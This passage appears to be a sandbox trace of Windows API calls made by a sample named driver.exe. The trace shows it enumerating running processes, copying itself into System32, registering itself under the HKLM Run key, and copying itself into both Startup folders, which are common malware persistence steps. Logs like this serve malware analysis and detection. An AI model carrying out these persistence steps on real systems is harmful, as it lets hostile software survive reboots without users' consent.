szExeFile="omnipos.exe")) returned 1 [0041.183] lstrlenW (lpString="omnipos.exe") returned 11 [0041.183] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0041.185] lstrlenW (lpString="spcwin.exe") returned 10 [0041.185] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0041.186] lstrlenW (lpString="spgagentservice.exe") returned 19 [0041.186] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0041.187] lstrlenW (lpString="utg2.exe") returned 8 [0041.187] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0041.188] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0041.188] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0041.189] lstrlenW (lpString="increases.exe") returned 13 [0041.189] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.190] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.190] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.191] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.191] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0041.192] lstrlenW (lpString="dllhost.exe") returned 11 [0041.192] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0041.193] lstrlenW (lpString="dllhost.exe") returned 11 [0041.193] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0041.194] lstrlenW (lpString="driver.exe") returned 10 [0041.194] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 0 [0041.195] CloseHandle (hObject=0xe0) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5268 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f52b0 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f52f8 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5318 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5360 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f4a00 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4718 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4750 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4348 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4370 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4798 | out: hHeap=0x5c0000) returned 1 [0041.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4398 | out: hHeap=0x5c0000) returned 1 [0041.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5fb590 [0041.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x60b598 [0041.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.197] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5d4398 [0041.198] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4398, Size=0x40) returned 0x5f69a8 [0041.198] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.198] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5d4398 [0041.198] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.198] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5d4370 [0041.198] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.198] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5d4348 [0041.198] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4348, Size=0x40) returned 0x5f69f0 [0041.198] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x60b598, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\driver.exe")) returned 0x30 [0041.198] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61b5a0 [0041.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62b5a8 [0041.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.199] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5d4348 [0041.199] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4348, Size=0x40) returned 0x5f6a38 [0041.199] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6a38, Size=0x80) returned 0x5f5268 [0041.199] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5268, Size=0x100) returned 0x5f7bb0 [0041.199] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7bb0 | out: hHeap=0x5c0000) returned 1 [0041.200] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\driver.exe", lpDst=0x61b5a0, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\driver.exe") returned 0x1f [0041.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62b5a8 | out: hHeap=0x5c0000) returned 1 [0041.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b5a0 | out: hHeap=0x5c0000) returned 1 [0041.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x2020020 [0041.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.200] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5d4348 [0041.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.200] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5f5930 [0041.200] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.201] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0041.201] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0041.201] lstrlenW (lpString="kernel32.dll") returned 12 [0041.201] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4348 | out: hHeap=0x5c0000) returned 1 [0041.201] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.201] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5930 | out: hHeap=0x5c0000) returned 1 [0041.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\driver.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0041.202] CreateFileW (lpFileName="C:\\Windows\\System32\\driver.exe" (normalized: "c:\\windows\\system32\\driver.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0041.206] ReadFile (in: hFile=0xe0, lpBuffer=0x2020020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0041.230] WriteFile (in: hFile=0xe4, lpBuffer=0x2020020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0041.254] ReadFile (in: hFile=0xe0, lpBuffer=0x2020020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0041.254] CloseHandle (hObject=0xe4) returned 1 [0041.257] CloseHandle (hObject=0xe0) returned 1 [0041.257] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.257] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5f5930 [0041.257] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.257] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5f58e0 [0041.258] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.258] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0041.258] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.258] lstrlenW (lpString="kernel32.dll") returned 12 [0041.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f58e0 | out: hHeap=0x5c0000) returned 1 [0041.258] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5930 | out: hHeap=0x5c0000) returned 1 [0041.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2020020 | out: hHeap=0x5c0000) returned 1 [0041.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.269] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5f5930 [0041.269] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5930, Size=0x40) returned 0x5f6a38 [0041.269] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6a38, Size=0x80) returned 0x61b5b8 [0041.270] lstrlenW (lpString="C:\\Windows\\System32\\driver.exe") returned 30 [0041.270] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0041.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5c) returned 0x5f5268 [0041.270] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0041.270] RegSetValueExW (in: hKey=0xe0, lpValueName="driver.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\driver.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\driver.exe") returned 0x0 [0041.273] RegCloseKey (hKey=0xe0) returned 0x0 [0041.273] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5268 | out: hHeap=0x5c0000) returned 1 [0041.273] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0041.273] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b5b8 | out: hHeap=0x5c0000) returned 1 [0041.273] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61d5a0 [0041.273] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62d5a8 [0041.273] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.273] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a00, Size=0x20) returned 0x5f5930 [0041.273] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5930, Size=0x40) returned 0x5f6a38 [0041.273] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6a38, Size=0x80) returned 0x61b5b8 [0041.273] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x5f7bb0 [0041.273] lstrlenW (lpString="") returned 0 [0041.273] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.274] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5f7cb8 [0041.274] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0041.274] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62d5a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x62d5a8*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0041.274] RegCloseKey (hKey=0xe0) returned 0x0 [0041.274] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cb8 | out: hHeap=0x5c0000) returned 1 [0041.274] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.274] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5f7cb8 [0041.274] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0041.275] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62d5a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0041.275] RegCloseKey (hKey=0xe4) returned 0x0 [0041.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cb8 | out: hHeap=0x5c0000) returned 1 [0041.275] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0041.275] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7bb0 | out: hHeap=0x5c0000) returned 1 [0041.275] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe", lpDst=0x61d5a0, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe") returned 0x67 [0041.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5a8 | out: hHeap=0x5c0000) returned 1 [0041.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61d5a0 | out: hHeap=0x5c0000) returned 1 [0041.275] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x2020020 [0041.276] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.276] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f5930 [0041.276] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.276] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f58e0 [0041.276] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.277] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0041.277] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.277] lstrlenW (lpString="kernel32.dll") returned 12 [0041.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5930 | out: hHeap=0x5c0000) returned 1 [0041.277] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f58e0 | out: hHeap=0x5c0000) returned 1 [0041.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\driver.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0041.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0041.280] ReadFile (in: hFile=0xe4, lpBuffer=0x2020020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0041.307] WriteFile (in: hFile=0xe8, lpBuffer=0x2020020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0041.313] ReadFile (in: hFile=0xe4, lpBuffer=0x2020020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0041.313] CloseHandle (hObject=0xe8) returned 1 [0041.314] CloseHandle (hObject=0xe4) returned 1 [0041.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.314] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f58e0 [0041.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.314] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f5930 [0041.314] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.314] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0041.315] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.315] lstrlenW (lpString="kernel32.dll") returned 12 [0041.315] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5930 | out: hHeap=0x5c0000) returned 1 [0041.315] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.315] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f58e0 | out: hHeap=0x5c0000) returned 1 [0041.315] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2020020 | out: hHeap=0x5c0000) returned 1 [0041.324] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61d5a0 [0041.324] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62d5a8 [0041.325] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.325] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f58e0 [0041.325] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f58e0, Size=0x40) returned 0x5f6a38 [0041.325] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6a38, Size=0x80) returned 0x61b5b8 [0041.325] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x5f7bb0 [0041.325] lstrlenW (lpString="") returned 0 [0041.325] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.325] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5f7cb8 [0041.325] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0041.325] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62d5a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0041.325] RegCloseKey (hKey=0xe4) returned 0x0 [0041.325] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cb8 | out: hHeap=0x5c0000) returned 1 [0041.325] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0041.325] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.325] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7bb0 | out: hHeap=0x5c0000) returned 1 [0041.325] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe", lpDst=0x61d5a0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe") returned 0x48 [0041.326] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5a8 | out: hHeap=0x5c0000) returned 1 [0041.326] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61d5a0 | out: hHeap=0x5c0000) returned 1 [0041.326] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x2020020 [0041.326] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.326] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f58e0 [0041.326] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.326] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f5930 [0041.326] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.326] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0041.326] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.326] lstrlenW (lpString="kernel32.dll") returned 12 [0041.326] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f58e0 | out: hHeap=0x5c0000) returned 1 [0041.326] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.326] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5930 | out: hHeap=0x5c0000) returned 1 [0041.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\driver.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0041.327] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0041.329] ReadFile (in: hFile=0xe4, lpBuffer=0x2020020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, 